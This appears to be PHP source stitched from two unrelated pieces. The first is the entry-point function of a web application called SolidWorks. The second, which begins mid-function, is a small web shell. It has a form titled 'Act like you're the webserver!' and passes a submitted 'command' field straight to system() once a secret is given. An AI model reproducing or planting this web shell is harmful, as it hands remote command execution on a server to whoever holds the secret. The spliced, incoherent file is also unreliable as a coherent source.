/** * SolidWorks (entry point) * * This function serves as the entry point for the entire application. It opens * the session, loads the Page object, processes any forms, and invokes any actions * for the page. * * @package SolidWorks * @author John Diamond <*****@*****.**> */ function solidworks(&$conf, $smarty) { global $page; // Make the Page object available to smarty_extensions global $translations; // Make sure the client is logged in as a valid user before proceeding validate_client(); // Load the user's language preference $language = isset($_SESSION['client']['userdbo']) ? $_SESSION['client']['userdbo']->getLanguage() : null; if ($language != null) { TranslationParser::load("language/" . $language); Translator::getTranslator()->setActiveLanguage($language); } if ($_SESSION['currentpage'] != $_GET['page']) { $_SESSION['lastpage'] = $_SESSION['currentpage']; } // Get a Page object for the page being requested $page = null; $page = get_page_object($conf, $smarty); if ($page == null) { // Delete current session session_destroy(); // Instantiate a generic page object $page = new Page(); } // Make sure the client has access to this page if (!$page->control_access()) { // Access denied $page->setError(array("type" => "ACCESS_DENIED")); $page->goback(1); } // Process any forms if ($_SERVER['REQUEST_METHOD'] == "POST") { handle_post_request(); } // Execute any action if present in the URL if (isset($_GET['action'])) { $page->action($_GET['action']); } // Display display_page($page); // Push page onto the navigation stack $_SESSION['navstack'][] = array("page" => $page->getName(), "url" => $page->getURL()); }
print 'Get off my lawn, you trespasser!'; exit; } if (isset($data['command'])) { $command = $data['command']; system($command); } } function show_form() { print '<html>'; print '<head><title>Act like you\'re the webserver!</title></head>'; print '<body>'; print '<form action="' . $_SELF . '" method="post">'; print '<div><label for="command">Command</label><input type="text" title="Command" value="echo hello world" maxlength="60" size="60" name="command" /></div>'; print '<div><label for="secret">Secret</label><input type="text" title="Secret" value="" maxlength="20" size="20" name="secret" /></div>'; print '<div><input type="submit" value="Do it!" name="submit" /></div>'; print '</form>'; print '</body>'; print '</html>'; } // ENTRY POINT //////////////////////////////////////////////////////////////// if (count($_POST) > 0) { handle_post_request($_POST); } else { if (count($_GET) > 0) { handle_get_request($_GET); } else { show_form(); } }